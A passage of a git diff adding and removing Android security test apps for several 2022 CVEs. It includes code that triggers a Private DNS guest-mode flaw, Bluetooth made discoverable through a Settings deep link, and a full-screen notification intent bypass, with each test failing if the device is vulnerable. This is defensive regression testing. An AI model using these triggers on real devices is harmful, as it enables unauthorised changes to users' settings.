-<account-authenticator
- xmlns:android="http://schemas.android.com/apk/res/android"
- android:accountType="android.security.cts.cve_2021_0685.account"
- android:label="CVE-2021-0685" />
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2022_20112">
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2022_20112" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20112/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20112/res/values/strings.xml
new file mode 100644
index 0000000..af45847
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20112/res/values/strings.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<resources>
+ <string name="defaultSettingsPkg">com.android.settings</string>
+ <string name="getAvailabilityStatusMethodName">getAvailabilityStatus</string>
+ <string name="privateDnsPreferenceControllerClassName">.network.PrivateDnsPreferenceController
+ </string>
+ <string name="testFailMsg">Device is vulnerable to b/206987762!! Private DNS can be modified in
+ guest mode</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20112/src/android/security/cts/CVE_2022_20112/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20112/src/android/security/cts/CVE_2022_20112/DeviceTest.java
new file mode 100644
index 0000000..96cb205
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20112/src/android/security/cts/CVE_2022_20112/DeviceTest.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20112;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.UiAutomation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.UserManager;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Method;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testprivateDnsPreferenceController() {
+ UiAutomation uiAutomation = null;
+ try {
+ Context context = getInstrumentation().getTargetContext();
+
+ // Retrieve settings package name dynamically
+ Intent settingsIntent = new Intent(Settings.ACTION_SETTINGS);
+ ComponentName settingsComponent =
+ settingsIntent.resolveActivity(context.getPackageManager());
+ String settingsPkgName = settingsComponent != null ? settingsComponent.getPackageName()
+ : context.getString(R.string.defaultSettingsPkg);
+
+ // Get vulnerable method 'getAvailabilityStatus' using reflection
+ Context settingsContext = context.createPackageContext(settingsPkgName,
+ Context.CONTEXT_INCLUDE_CODE | Context.CONTEXT_IGNORE_SECURITY);
+ ClassLoader settingsClassLoader = settingsContext.getClassLoader();
+ Class<?> privateDnsPreferenceControllerClass =
+ settingsClassLoader.loadClass(settingsPkgName
+ + context.getString(R.string.privateDnsPreferenceControllerClassName));
+ Constructor<?> privateDnsPreferenceControllerCstr =
+ privateDnsPreferenceControllerClass.getConstructor(Context.class);
+ Object privateDnsPreferenceControllerObject =
+ privateDnsPreferenceControllerCstr.newInstance(settingsContext);
+ Method getAvailabilityStatusMethod = privateDnsPreferenceControllerClass
+ .getDeclaredMethod(context.getString(R.string.getAvailabilityStatusMethodName));
+ getAvailabilityStatusMethod.setAccessible(true);
+
+ // Check if current user is guest user
+ uiAutomation = getInstrumentation().getUiAutomation();
+ uiAutomation.adoptShellPermissionIdentity(android.Manifest.permission.CREATE_USERS);
+ final UserManager userManager = context.getSystemService(UserManager.class);
+ assumeTrue(userManager.isGuestUser());
+
+ // Invoke vulnerable method 'getAvailabilityStatus'
+ int status =
+ (int) getAvailabilityStatusMethod.invoke(privateDnsPreferenceControllerObject);
+ assertFalse(context.getString(R.string.testFailMsg), status == 0 /* AVAILABLE */);
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ uiAutomation.dropShellPermissionIdentity();
+ } catch (Exception ignored) {
+ // Ignore exception here
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/res/values/strings.xml
deleted file mode 100644
index e049d48..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/res/values/strings.xml
+++ /dev/null
@@ -1,34 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- Copyright 2022 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
- -->
-
-<resources>
- <string name="allowButtonResName">android:id/button1</string>
- <string name="btAction">btAction</string>
- <string name="className">.slices.SliceDeepLinkSpringBoard</string>
- <string name="defaultSemaphoreMsg">Could not get message key in shared preferences</string>
- <string name="defaultSettingsPkg">com.android.settings</string>
- <string name="failMessage">
- Vulnerable to b/228450811 !! Possible to make bluetooth discoverable via
- SettingsIntelligence#SliceDeepLinkTrampoline
- </string>
- <string name="messageKey">message</string>
- <string name="resultKey">result</string>
- <string name="sharedPreferences">sharedPreferences</string>
- <string name="uri">
- settings://com.android.settings.slices/?slice=content://com.android.settings.slices/action/bluetooth_devices
- </string>
-</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java
deleted file mode 100644
index ec61aa1..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java
+++ /dev/null
@@ -1,166 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts.CVE_2022_20347;
-
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assume.assumeNoException;
-import static org.junit.Assume.assumeTrue;
-
-import android.app.UiAutomation;
-import android.bluetooth.BluetoothAdapter;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.SharedPreferences;
-import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
-import android.content.res.Resources;
-import android.net.Uri;
-import android.provider.Settings;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-import androidx.test.uiautomator.By;
-import androidx.test.uiautomator.UiDevice;
-import androidx.test.uiautomator.Until;
-
-import org.junit.After;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.concurrent.Semaphore;
-import java.util.concurrent.TimeUnit;
-
-@RunWith(AndroidJUnit4.class)
-public class DeviceTest {
- Context mContext;
- Semaphore mPreferenceChanged;
- UiDevice mDevice;
-
- String getSettingsPkgName() {
- Intent settingsIntent = new Intent(Settings.ACTION_SETTINGS);
- ComponentName settingsComponent =
- settingsIntent.resolveActivity(mContext.getPackageManager());
- String pkgName = settingsComponent != null ? settingsComponent.getPackageName()
- : mContext.getString(R.string.defaultSettingsPkg);
- return pkgName;
- }
-
- int getInteger(int resId) {
- return mContext.getResources().getInteger(resId);
- }
-
- void switchBluetoothMode(String action) {
- Intent intent = new Intent(mContext, PocActivity.class);
- intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- intent.putExtra(mContext.getString(R.string.btAction), action);
- mContext.startActivity(intent);
- }
-
- @Test
- public void testBluetoothDiscoverable() {
- OnSharedPreferenceChangeListener sharedPrefListener;
- SharedPreferences sharedPrefs;
- boolean btState = false;
- try {
- mContext = InstrumentationRegistry.getInstrumentation().getContext();
- Resources resources = mContext.getResources();
- sharedPrefs = mContext.getSharedPreferences(
- resources.getString(R.string.sharedPreferences), Context.MODE_APPEND);
- mPreferenceChanged = new Semaphore(0);
- sharedPrefListener = new OnSharedPreferenceChangeListener() {
- @Override
- public void onSharedPreferenceChanged(SharedPreferences sharedPreferences,
- String key) {
- if (key.equals(resources.getString(R.string.resultKey))) {
- mPreferenceChanged.release();
- }
- }
- };
- sharedPrefs.registerOnSharedPreferenceChangeListener(sharedPrefListener);
- BluetoothAdapter btAdapter = BluetoothAdapter.getDefaultAdapter();
-
- // Save the state of bluetooth adapter to reset after the test
- btState = btAdapter.isEnabled();
-
- // Disable bluetooth if already enabled in 'SCAN_MODE_CONNECTABLE_DISCOVERABLE' mode
- if (btAdapter.getScanMode() == btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE) {
- switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_DISABLE);
- assumeTrue(mPreferenceChanged.tryAcquire(getInteger(R.integer.timeoutMs),
- TimeUnit.MILLISECONDS));
- int result = sharedPrefs.getInt(resources.getString(R.string.resultKey),
- resources.getInteger(R.integer.assumptionFailure));
- String message = sharedPrefs.getString(resources.getString(R.string.messageKey),
- resources.getString(R.string.defaultSemaphoreMsg));
- assumeTrue(message, result != resources.getInteger(R.integer.assumptionFailure));
- }
-
- // Enable bluetooth if in disabled state
- switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_ENABLE);
- assumeTrue(mPreferenceChanged.tryAcquire(getInteger(R.integer.timeoutMs),
- TimeUnit.MILLISECONDS));
- int result = sharedPrefs.getInt(resources.getString(R.string.resultKey),
- resources.getInteger(R.integer.assumptionFailure));
- String message = sharedPrefs.getString(resources.getString(R.string.messageKey),
- resources.getString(R.string.defaultSemaphoreMsg));
- assumeTrue(message, result != resources.getInteger(R.integer.assumptionFailure));
-
- // Checking if bluetooth is enabled. The test requires bluetooth to be enabled
- assumeTrue(btAdapter.isEnabled());
-
- // Checking if bluetooth mode is not set to SCAN_MODE_CONNECTABLE_DISCOVERABLE
- assumeTrue(btAdapter.getScanMode() != btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE);
-
- // Launch bluetooth settings which is supposed to set scan mode to
- // SCAN_MODE_CONNECTABLE_DISCOVERABLE if vulnerability is present
- UiAutomation uiautomation =
- InstrumentationRegistry.getInstrumentation().getUiAutomation();
- uiautomation
- .adoptShellPermissionIdentity(android.Manifest.permission.MODIFY_PHONE_STATE);
- String settingsPkg = getSettingsPkgName();
- Intent intent = new Intent();
- intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- intent.setData(Uri.parse(mContext.getString(R.string.uri)));
- intent.setClassName(settingsPkg, settingsPkg + mContext.getString(R.string.className));
- mContext.startActivity(intent);
- mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
- assumeTrue(mDevice.wait(Until.hasObject(By.pkg(settingsPkg)),
- getInteger(R.integer.timeoutMs)));
- boolean isBtDiscoverable = false;
- isBtDiscoverable =
- (btAdapter.getScanMode() == btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE);
- uiautomation.dropShellPermissionIdentity();
-
- // The test fails if bluetooth is made discoverable through PoC
- assertFalse(mContext.getString(R.string.failMessage), isBtDiscoverable);
- } catch (Exception e) {
- assumeNoException(e);
- } finally {
- try {
- // Disable bluetooth if it was OFF before the test
- if (!btState) {
- switchBluetoothMode(BluetoothAdapter.ACTION_REQUEST_DISABLE);
- assumeTrue(mPreferenceChanged.tryAcquire(getInteger(R.integer.timeoutMs),
- TimeUnit.MILLISECONDS));
- }
- // Go to home screen
- mDevice.pressHome();
- } catch (Exception e) {
- // ignore exceptions here
- }
- }
- }
-}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/Android.bp
similarity index 80%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20415/Android.bp
index 09297b2..1ba587f 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2022 The Android Open Source Project
+ * Copyright (C) 2023 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -20,10 +20,8 @@
}
android_test_helper_app {
- name: "CVE-2022-20347",
- defaults: [
- "cts_defaults",
- ],
+ name: "CVE-2022-20415",
+ defaults: ["cts_support_defaults"],
srcs: [
"src/**/*.java",
],
@@ -33,7 +31,6 @@
static_libs: [
"androidx.test.core",
"androidx.test.rules",
- "androidx.test.uiautomator_uiautomator",
],
- platform_apis: true,
+ sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/AndroidManifest.xml
new file mode 100644
index 0000000..476cf0b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2022_20415">
+ <uses-permission android:name="android.permission.USE_FULL_SCREEN_INTENT" />
+ <uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
+ <application>
+ <activity
+ android:name=".PocActivity"
+ android:exported="true">
+ </activity>
+ </application>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2022_20415" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/res/values/integers.xml
similarity index 65%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20415/res/values/integers.xml
index d9e0ab2..f2cba3d 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/res/values/integers.xml
@@ -1,6 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<!--
- Copyright 2021 The Android Open Source Project
+ Copyright 2023 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
@@ -14,7 +14,10 @@
See the License for the specific language governing permissions and
limitations under the License.
-->
-<account-authenticator
- xmlns:android="http://schemas.android.com/apk/res/android"
- android:accountType="android.security.cts.cve_2021_0685.account"
- android:label="CVE-2021-0685" />
+<resources>
+ <integer name="height">50</integer>
+ <integer name="idSummaryNotification">0</integer>
+ <integer name="idTestNotification">1</integer>
+ <integer name="requestCodeIntent">0</integer>
+ <integer name="width">50</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/res/values/strings.xml
new file mode 100644
index 0000000..195d696
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/res/values/strings.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="idNotificationChannel">testId</string>
+ <string name="msgFailure">Device is vulnerable to b/231322873 !!</string>
+ <string name="nameBroadcastActionString">CVE_2022_20415_action</string>
+ <string name="nameNotificationChannel">b/231322873 notification</string>
+ <string name="tagNotify">NOTIFY_TAG</string>
+ <string name="textSummaryNotification">Summary Content</string>
+ <string name="titlePocNotification">PoC</string>
+ <string name="titleSummaryNotification">Summary Title</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/src/android/security/cts/CVE_2022_20415/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/src/android/security/cts/CVE_2022_20415/DeviceTest.java
new file mode 100644
index 0000000..6872351
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/src/android/security/cts/CVE_2022_20415/DeviceTest.java
@@ -0,0 +1,134 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20415;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.res.Resources;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.drawable.Icon;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private Context mContext;
+ private NotificationManager mNotificationManager;
+ private Resources mResources;
+
+ Icon createNotificationIcon() {
+ Bitmap testBitmap = Bitmap.createBitmap(mResources.getInteger(R.integer.width),
+ mResources.getInteger(R.integer.height), Bitmap.Config.ARGB_8888);
+ final Canvas canvas = new Canvas(testBitmap);
+ canvas.drawColor(Color.BLUE);
+ return Icon.createWithBitmap(testBitmap);
+ }
+
+ public void tryNotificationStart() throws Exception {
+ Icon icon = createNotificationIcon();
+ PendingIntent pendingIntent = PendingIntent.getActivity(mContext,
+ mResources.getInteger(R.integer.requestCodeIntent),
+ new Intent(mContext, PocActivity.class), PendingIntent.FLAG_IMMUTABLE);
+ NotificationChannel notificationChannel =
+ new NotificationChannel(mContext.getString(R.string.idNotificationChannel),
+ mContext.getString(R.string.nameNotificationChannel),
+ NotificationManager.IMPORTANCE_MAX);
+ notificationChannel.setDescription(mContext.getString(R.string.nameNotificationChannel));
+ mNotificationManager.createNotificationChannel(notificationChannel);
+ Notification summaryNotification = new Notification.Builder(mContext,
+ mContext.getString(R.string.idNotificationChannel))
+ .setContentTitle(mContext.getString(R.string.titleSummaryNotification))
+ .setContentText(mContext.getString(R.string.textSummaryNotification))
+ .setSmallIcon(icon).setGroup(mContext.getPackageName())
+ .setGroupSummary(true /* make summaryNotification a group summary */)
+ .build();
+ Notification pocNotification = new Notification.Builder(mContext,
+ mContext.getString(R.string.idNotificationChannel)).setSmallIcon(icon)
+ .setContentTitle(mContext.getString(R.string.titlePocNotification))
+ .setGroupAlertBehavior(Notification.GROUP_ALERT_SUMMARY)
+ .setGroup(mContext.getPackageName())
+ .setFullScreenIntent(pendingIntent, true /* high priority */).build();
+
+ mNotificationManager.notify(mContext.getString(R.string.tagNotify),
+ mResources.getInteger(R.integer.idTestNotification), pocNotification);
+ mNotificationManager.notify(mResources.getInteger(R.integer.idSummaryNotification),
+ summaryNotification);
+ }
+
+ @Test
+ public void testFullScreenIntent() {
+ try {
+ mContext = getInstrumentation().getTargetContext();
+ mNotificationManager = mContext.getSystemService(NotificationManager.class);
+ mResources = mContext.getResources();
+ Semaphore mBroadcastReceived = new Semaphore(0);
+ int timeoutMs = 20000;
+
+ // Register a broadcast receiver to receive broadcast from PocActivity indicating
+ // presence of vulnerability
+ BroadcastReceiver broadcastReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ try {
+ if (intent.getAction()
+ .equals(mContext.getString(R.string.nameBroadcastActionString))) {
+ mBroadcastReceived.release();
+ }
+ } catch (Exception ignored) {
+ // ignore any exceptions
+ }
+ }
+ };
+ IntentFilter filter =
+ new IntentFilter(mContext.getString(R.string.nameBroadcastActionString));
+ mContext.registerReceiver(broadcastReceiver, filter);
+
+ tryNotificationStart();
+ assertFalse(mContext.getString(R.string.msgFailure),
+ mBroadcastReceived.tryAcquire(timeoutMs, TimeUnit.MILLISECONDS));
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ mNotificationManager.cancel(mResources.getInteger(R.integer.idSummaryNotification));
+ mNotificationManager.cancel(mContext.getString(R.string.tagNotify),
+ mResources.getInteger(R.integer.idTestNotification));
+ } catch (Exception e) {
+ // ignore this exception
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/src/android/security/cts/CVE_2022_20415/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/src/android/security/cts/CVE_2022_20415/PocActivity.java
new file mode 100644
index 0000000..5afa191
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/src/android/security/cts/CVE_2022_20415/PocActivity.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20415;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ try {
+ super.onCreate(savedInstanceState);
+ // PocActivity has been launched successfully, this indicates presence of vulnerability
+ // so broadcasting it to DeviceTest.
+ sendBroadcast(new Intent(getString(R.string.nameBroadcastActionString)));
+ } catch (Exception e) {
+ // ignore any exceptions
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/Android.bp
similarity index 80%
rename from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
rename to hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/Android.bp
index 770b5a2..db55729 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/Android.bp
@@ -15,19 +15,20 @@
*
*/
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
android_test_helper_app {
- name: "CVE-2021-0642",
+ name: "CVE-2022-20475-target",
defaults: [
"cts_support_defaults",
],
- srcs: ["src/**/*.java"],
+ srcs: [
+ "src/**/*.java",
+ ],
test_suites: [
"sts",
],
- static_libs: [
- "androidx.test.core",
- "androidx.test.rules",
- "androidx.test.uiautomator_uiautomator",
- ],
sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/AndroidManifest.xml
new file mode 100644
index 0000000..60fb528
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2022_20475_target">
+ <application android:allowTaskReparenting="true">
+ <activity android:name=".TargetActivity"
+ android:exported="true" />
+ </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/res/values/strings.xml
similarity index 70%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/res/values/strings.xml
index d9e0ab2..c424970 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/res/values/strings.xml
@@ -1,6 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<!--
- Copyright 2021 The Android Open Source Project
+ Copyright 2022 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
@@ -14,7 +14,7 @@
See the License for the specific language governing permissions and
limitations under the License.
-->
-<account-authenticator
- xmlns:android="http://schemas.android.com/apk/res/android"
- android:accountType="android.security.cts.cve_2021_0685.account"
- android:label="CVE-2021-0685" />
+
+<resources>
+ <string name="bcastActionTarget">CVE_2022_20475_TargetActivity</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/src/android/security/cts/CVE_2022_20475_target/TargetActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/src/android/security/cts/CVE_2022_20475_target/TargetActivity.java
new file mode 100644
index 0000000..4b885c6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/src/android/security/cts/CVE_2022_20475_target/TargetActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20475_target;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class TargetActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ try {
+ super.onCreate(savedInstanceState);
+ sendBroadcast(new Intent(getString(R.string.bcastActionTarget)));
+ } catch (Exception ignored) {
+ }
+ }
+
+ @Override
+ protected void onResume() {
+ try {
+ super.onResume();
+ sendBroadcast(new Intent(getString(R.string.bcastActionTarget)));
+ } catch (Exception ignored) {
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/Android.bp
similarity index 87%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/Android.bp
